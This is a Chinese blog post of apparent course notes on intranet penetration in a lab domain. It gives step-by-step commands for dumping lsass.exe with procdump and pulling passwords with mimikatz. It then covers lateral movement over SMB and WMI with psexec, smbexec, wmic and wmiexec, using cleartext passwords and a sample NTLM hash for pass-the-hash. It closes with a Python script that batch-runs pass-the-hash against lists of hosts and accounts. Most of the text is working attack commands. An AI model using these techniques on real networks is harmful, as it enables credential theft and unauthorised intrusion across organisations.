当前位置:   article > 正文

内网渗透-smb&wmi_wmi渗透

wmi渗透

内网渗透-smb&wmi

!–看小迪老师课程自己做的笔记

一、prodump + mimikatz配合获取密码

1、使用procdump将lsass.exe转储出来
procdump -accepteula -ma lsass.exe lsass.dmp
  • 1

image-20220702200431435

转储成功

image-20220702200508727

2、使用mimikatz获取转储的文件中的密码

mimikatz上执行命令(可以将lsass.dmp文件搞出来在其他地方运行mimikatz,解决mimikatz执行权限问题):

privilege::debug    //提权
sekurlsa::minidump lsass.dmp   //注意lsass.exe必须与mimikatz.exe同目录
sekurlsa::logonPasswords full
  • 1
  • 2
  • 3

image-20220702201730481

image-20220702201924336

二、域横向移动SMB服务利用 psexec(官方)

官方提供的psexec不提供hash传递

利用SMB服务可以通过明文密码传递来远程执行,条件必须打开445端口

1、使用psexec,现有ipc连接,psexec需要明文传递

#建立ipc$连接
net use \\192.168.139.131\ipc$ "ghy.admin123" /user:ghy\administrator 
#psexec明文传递
paexec \\192.168.139.131 -s cmd     //-s是以system权限运行
  • 1
  • 2
  • 3
  • 4

image-20220702203153701

image-20220702203409929

2、使用psexec,无ipc连接,明文传递

#不用先ipc连接,直接使用psexec
psexec \\192.168.139.131 -u ghy\administrator -p ghy.admin123 -s cmd
  • 1
  • 2

image-20220702203743123

三、域横向移动SMB服务利用psexec、smbexec(非官方)

1、使用psexec,无ipc连接,明文及hash传递

明文传递:

注意:这里必须是/,非官方自带psexec必须是斜杠。

psexec.exe ghy/administrator:ghy.admin123@192.168.139.131
  • 1

image-20220704174111856

hash值传递:

psexec -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131
  • 1

注意:这里必须是/,非官方自带psexec必须是斜杠。

image-20220704095016675

2、使用smbexec,明文及hash值传递

明文传递:

smbexec.exe ghy/administrator:ghy.admin123@192.168.139.131
  • 1

image-20220704175058354

hash传递:

smbexec.exe -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131
  • 1

image-20220704175458459

四、域横向移动WMI服务利用----cscript、wmiexec、wmic

wmi是通过135端口进行利用,支持明文和hash值的方式进行认证,并且该方法不会在目标日志系统留下痕迹

1、官方自带明文传递,wmi无回显,cscript有回显

自带wmi明文传递,无回显

wmic /node:192.168.139.131 /user:ghy\administrator /password:ghy.admin123 process call create "cmd.exe /c ipconfig > c:\1.txt"
  • 1

image-20220704180354493

image-20220704180526306

自带cscript明文传递,有回显

cscript //nologo wmiexec.vps /shell 192.168.139.131 ghy\administrator ghy.admin123
  • 1

2、非官方套件,明文及hash传递,有回显

明文传递:

wmiexec.exe ghy/administrator:ghy.admin123@192.168.139.131 "ipconfig"
  • 1

image-20220704182837159

hash传递:

wmiexec.exe -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131 "ipconfig"
  • 1

image-20220704183117837

五、域横向移动以上服务hash批量利用python编译为exe

# pyinstaller.exe -F fuck_neiwang.py
import os, time

ips = {
    '192.168.139.131',
    '192.168.139.128'
}
users = {
    'administrator',
    'ghy',
    'ghy/administrator',
    'ghy/websec'
}
hashes = {
    'd4a1605da045ea9ea9873e349dabbbfe',

}
for ip in ips:
    for user in users:
        for passwordhash in hashes:
            # wmiexec.exe -hashes :hash user@ip "whoami"
            exec = "wmiexec.exe -hashes :" + passwordhash + " " + user + "@" + ip + " whoami"
            print('-->' + exec + '<--')
            os.system(exec)
            time.sleep(0.5)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/690289
推荐阅读
相关标签
  

闽ICP备14008679号